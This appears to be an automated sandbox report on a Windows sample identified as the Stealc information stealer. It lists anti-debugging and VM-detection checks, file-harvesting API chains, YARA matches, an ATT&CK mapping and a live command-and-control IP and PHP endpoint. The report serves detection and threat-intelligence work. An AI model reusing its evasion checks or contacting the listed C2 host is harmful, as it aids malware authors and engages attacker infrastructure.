Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96558 second address: D9655E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96AB8 second address: D96AC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96C0C second address: D96C24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFE921Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jno 00007FB97CFE9216h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9871E second address: D98735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFF0162h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99F76 second address: D99F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFE921Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99F84 second address: D99F89 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9CE27 second address: D9CE6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB97CFE921Bh 0x0000000d pop edx 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jnc 00007FB97CFE921Ch 0x00000018 mov eax, dword ptr [eax] 0x0000001a jmp 00007FB97CFE9223h 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push edi 0x00000024 pushad 0x00000025 push eax 0x00000026 pop eax 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9E3BC second address: D9E3EC instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB97CFF0173h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jng 00007FB97CFF015Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54102EE second address: 54102FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFE921Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54102FF second address: 5410305 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410305 second address: 5410309 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410309 second address: 5410365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007FB97CFF0164h 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 mov esi, 4EA6FC4Dh 0x00000017 movzx esi, bx 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d jmp 00007FB97CFF0165h 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 call 00007FB97CFF0163h 0x0000002b pop ecx 0x0000002c mov bh, 4Ch 0x0000002e popad 0x0000002f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CA652F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CD2B74 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CBE5E7 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_008B38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008B4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008ADA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_008ADA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_008AE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_008AED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_008B4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AF68A FindFirstFileA,	0_2_008AF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_008B3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008AF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008A16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008A16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008ADE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008ADE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008ABE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_008ABE70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008A1160 GetSystemInfo,ExitProcess,

0_2_008A1160

Source: file.exe, file.exe, 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2086459115.0000000001451000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: file.exe, 00000000.00000002.2086459115.0000000001483000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2086459115.000000000140E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13630
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13685
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13649
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13633
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13645

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008A45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_008A45C0

Source: C:\Users\user\Desktop\file.exe

0_2_008B9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008B9750 mov eax, dword ptr fs:[00000030h]

0_2_008B9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008B78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_008B78E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5064, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008B9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_008B9600

Source: file.exe, file.exe, 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_008B7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008B7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_008B7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008B7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_008B7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008B7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_008B7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.8a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2044296444.0000000005280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2086459115.000000000140E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5064, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.8a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2044296444.0000000005280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2086459115.000000000140E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5064, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true		unknown
http://185.215.113.37/e2b1563c6670f193.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.37/e2b1563c6670f193.php6Y3	file.exe, 00000000.00000002.2086459115.0000000001469000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2086459115.000000000140E000.00000004.00000020.00020000.00000000.sdmp	true	unknown
http://185.215.113.37DW	file.exe, 00000000.00000002.2086459115.000000000140E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/e2b1563c6670f193.phpOF	file.exe, 00000000.00000002.2086459115.0000000001469000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520803
Start date and time:	2024-09-27 23:13:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 81% Number of executed functions: 20 Number of non-executed functions: 83
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.103
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey, BitCoin Miner, SilentXMRMiner	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	kYpONUhAR5.exe	Get hash	malicious	RedLine	Browse	185.215.113.67
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	185.215.113.103

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948955789166306
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'871'872 bytes
MD5:	725d70229eb4ef1cb992cafa8a031527
SHA1:	69af2b2f4a85e3ce78f5b9a9484bb7a3f13ca5ff
SHA256:	edc9cb8db3fafd7737aeda3122a8a4b967cf4e79887ef38910dcfd6b2e99b635
SHA512:	82ee65d8dd9a3df36cb0066b006e0325dbea7562a128dada34ce17c9a4ecefcaa946a38d8cb217e72dde846105b4fedb9578efe1ba9aa2c2cdb98a68e9bbc44d
SSDEEP:	24576:s3YfdVGyDhuNhFw7ZjAspUvOlC/tqo19VX4hL0b+x4jE8FjC2JthFdRKOrZWa:HgyQsYOKh9l4bx4jEOzhFnBZ
TLSH:	CF8533049D51EAFEDA6CF7FC305608C477E256A192795CBC13AA31B60862F4A3F05E9C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L.../..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaae000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F1BA2F [Mon Sep 23 18:57:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB97C88DF7Ah
movd mm3, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FB97C88FF75h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	7351ae06287288eaaea5ec27b20e263c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2ac000	0x200	8d350a2119b7d8c3daf26402eec516cc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mpdgfduh	0x50a000	0x1a3000	0x1a2c00	67586c60b93239c99ad63d638730adbb	False	0.9948087686567164	data	7.9541059476777995	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rbtrtnga	0x6ad000	0x1000	0x600	723b6c0ab6c2ff866f8943004b129696	False	0.5807291666666666	data	5.01932256252331	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6ae000	0x3000	0x2200	5bdb009cc9dc51e034210f4dcf25455b	False	0.06376378676470588	DOS executable (COM)	0.8130962823806491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T23:14:03.397773+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 23:14:02.371526003 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 23:14:02.376549006 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 23:14:02.376629114 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 23:14:02.376786947 CEST	49704	80	192.168.2.5	185.215.113.37
